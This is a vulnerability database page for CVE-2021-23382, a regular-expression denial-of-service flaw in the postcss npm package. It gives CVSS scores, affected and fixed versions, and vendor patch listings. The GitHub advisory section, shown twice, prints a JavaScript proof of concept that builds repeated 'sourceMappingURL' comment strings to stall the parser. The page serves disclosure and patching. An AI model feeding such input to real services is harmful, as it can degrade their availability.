Every CVE Search/ Get API key

CVE-2021-23382

Regular Expression Denial of Service (ReDoS)

5.3 MediumFix available

The package postcss before 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern /*\s* sourceMappingURL=(.*).

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
None
Integrity
None
Availability
Low

Exploit likelihood

2.56%Up 1.5 points since Apr 27, 2021
90%50%10%1%

What each source reports

CVE List Score used 5.3

Regular Expression Denial of Service (ReDoS)

The package postcss before 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern /*\s* sourceMappingURL=(.*).

Record
CVE-2021-23382
CVSS 3.1
5.3 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Updated
2026-11-02
EUVDEUVD-2022-0459 5.3

The package postcss before 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern /*\s* sourceMappingURL=(.*).

Record
EUVD-2022-0459
CVSS 3.1
5.3 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Updated
2026-11-03
GitHub AdvisoriesGHSA-566m-qj78-rww5 5.3

Regular Expression Denial of Service in postcss

The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern

\/\*\s* sourceMappingURL=(.*)

PoC

var postcss = require("postcss")
function build_attack(n) {
    var ret = "a{}"
    for (var i = 0; i < n; i++) {
        ret += "/*# sourceMappingURL="
    }
    return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
    if (i % 1000 == 0) {
        var time = Date.now();
        var attack_str = build_attack(i) try {
            postcss.parse(attack_str) var time_cost = Date.now() - time;
            console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
        } catch (e) {
            var time_cost = Date.now() - time;
            console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
        }
    }
}
Record
GHSA-566m-qj78-rww5
CVSS 3.1
5.3 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Weakness
CWE-400
Updated
2026-11-02
NVD 5.3

The package postcss before 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern /*\s* sourceMappingURL=(.*).

Record
CVE-2021-23382
CVSS 3.1
5.3 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
CVSS 2.0
5.0 MediumAV:N/AC:L/Au:N/C:N/I:N/A:P
Weakness
CWE-1333
Updated
2026-11-02
OSV 7.5

The package postcss before 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern /*\s* sourceMappingURL=(.*).

Record
CVE-2021-23382
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVDEBIAN-CVE-2021-23382 7.5

The package postcss before 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern /*\s* sourceMappingURL=(.*).

Record
DEBIAN-CVE-2021-23382
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
Show 10 moreShow less
OSVGHSA-566m-qj78-rww5 5.3

Regular Expression Denial of Service in postcss

The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern

\/\*\s* sourceMappingURL=(.*)

PoC

var postcss = require("postcss")
function build_attack(n) {
    var ret = "a{}"
    for (var i = 0; i < n; i++) {
        ret += "/*# sourceMappingURL="
    }
    return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
    if (i % 1000 == 0) {
        var time = Date.now();
        var attack_str = build_attack(i) try {
            postcss.parse(attack_str) var time_cost = Date.now() - time;
            console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
        } catch (e) {
            var time_cost = Date.now() - time;
            console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
        }
    }
}
Record
GHSA-566m-qj78-rww5
CVSS 3.1
5.3 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Weakness
CWE-400
Updated
2026-11-02
OSVUBUNTU-CVE-2021-23382 5.3

The package postcss before 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern /*\s* sourceMappingURL=(.*).

Record
UBUNTU-CVE-2021-23382
CVSS 3.1
5.3 MediumCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02
OSVCLSA-2026-1774830263 No score

TuxCare security update for postcss (2 CVEs)

TuxCare rebuilt postcss to address 2 CVEs. Fixed in 5.2.18-tuxcare.1.

Record
CLSA-2026-1774830263
Updated
2026-11-02
OSVCLSA-2026-1776299672 No score

TuxCare security update for postcss (3 CVEs)

TuxCare rebuilt postcss to address 3 CVEs. Fixed in 7.0.14-tuxcare.1.

Record
CLSA-2026-1776299672
Updated
2026-11-02
OSVCLSA-2026-1779065198 No score

TuxCare security update for postcss (4 CVEs)

TuxCare rebuilt postcss to address 4 CVEs. Fixed in 7.0.21-tuxcare.1.

Record
CLSA-2026-1779065198
Updated
2026-11-02
OSVCLSA-2026-1779324473 No score

TuxCare security update for postcss (4 CVEs)

TuxCare rebuilt postcss to address 4 CVEs. Fixed in 7.0.32-tuxcare.1.

Record
CLSA-2026-1779324473
Updated
2026-11-02
OSVCLSA-2026-1779670117 No score

TuxCare security update for postcss (4 CVEs)

TuxCare rebuilt postcss to address 4 CVEs. Fixed in 7.0.17-tuxcare.1.

Record
CLSA-2026-1779670117
Updated
2026-11-02
OSVCLSA-2026-1790604941 No score

TuxCare security update for postcss (6 CVEs)

TuxCare rebuilt postcss to address 6 CVEs. Fixed in 6.0.1-tuxcare.1.

Record
CLSA-2026-1790604941
Updated
2026-11-02
OSVCLSA-2026-1792164471 No score

TuxCare security update for postcss (3 CVEs)

TuxCare rebuilt postcss to address 3 CVEs. Fixed in 8.2.9-tuxcare.1.

Record
CLSA-2026-1792164471
Updated
2026-11-02
OSVROOT-APP-NPM-CVE-2021-23382 No score

CVE-2021-23382 in postcss - Patched by Root

Root has patched CVE-2021-23382 in the postcss package for Root:npm. Multiple fixed versions available.

Record
ROOT-APP-NPM-CVE-2021-23382
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
postcss
npm
8.0.0 up to 8.2.13
8.2.13
postcss
npm
before 7.0.36
7.0.36
postcss
TuxCare:npm
From an advisory covering 2 CVEs
5.2.18-tuxcare.0 up to 5.2.18-tuxcare.1, plus listed versions
5.2.18
5.2.18-tuxcare.1
postcss
TuxCare:npm
From an advisory covering 3 CVEs
7.0.14-tuxcare.0 up to 7.0.14-tuxcare.1, plus listed versions
7.0.14
7.0.14-tuxcare.1
postcss
TuxCare:npm
From an advisory covering 4 CVEs
7.0.21-tuxcare.0 up to 7.0.21-tuxcare.1, plus listed versions
7.0.21
7.0.21-tuxcare.1
postcss
TuxCare:npm
From an advisory covering 4 CVEs
7.0.32-tuxcare.0 up to 7.0.32-tuxcare.1, plus listed versions
7.0.32
7.0.32-tuxcare.1
postcss
TuxCare:npm
From an advisory covering 4 CVEs
7.0.17-tuxcare.0 up to 7.0.17-tuxcare.1, plus listed versions
7.0.17
7.0.17-tuxcare.1
postcss
TuxCare:npm
From an advisory covering 6 CVEs
6.0.1-tuxcare.0 up to 6.0.1-tuxcare.1, plus listed versions
6.0.1
6.0.1-tuxcare.1
postcss
TuxCare:npm
From an advisory covering 3 CVEs
8.2.9-tuxcare.0 up to 8.2.9-tuxcare.1, plus listed versions
8.2.9
8.2.9-tuxcare.1
node-postcss
Debian:12
before 8.2.1+~cs5.3.23-7
8.2.1+~cs5.3.23-7
Show 6 moreShow less
Affected packages
PackageAffectedFixed
node-postcss
Debian:13
before 8.2.1+~cs5.3.23-7
8.2.1+~cs5.3.23-7
node-postcss
Debian:14
before 8.2.1+~cs5.3.23-7
8.2.1+~cs5.3.23-7
postcss
Root:npm
before 5.2.18-aikido.2
5.2.18-aikido.25.2.18-aikido.35.2.18-aikido.45.2.18-aikido.57.0.36-aikido.1
@rootio/postcss
Root:npm
before 5.2.18-root.io.1
5.2.18-root.io.15.2.18-root.io.25.2.18-root.io.35.2.18-root.io.45.2.18-root.io.57.0.36-root.io.1
node-postcss
Ubuntu:20.04:LTS
All versions, plus listed versions
6.0.23-16.0.23-3
None known
node-postcss
Ubuntu:22.04:LTS
All versions, plus listed versions
8.2.1+~cs5.3.23-88.4.5+~cs7.1.51-28.4.6+~cs7.3.21-1
None known

History

History
RecordedChangedSources
affected, facts
aliases, publishedEUVD
first indexedCVE List, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2021-23382 is a medium vulnerability (CVSS 5.3) in Postcss, published April 26, 2021. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 2.56%, the 85th percentile. Fixed in postcss 8.2.13.

References

Show 4 moreShow less
MoveEnter Open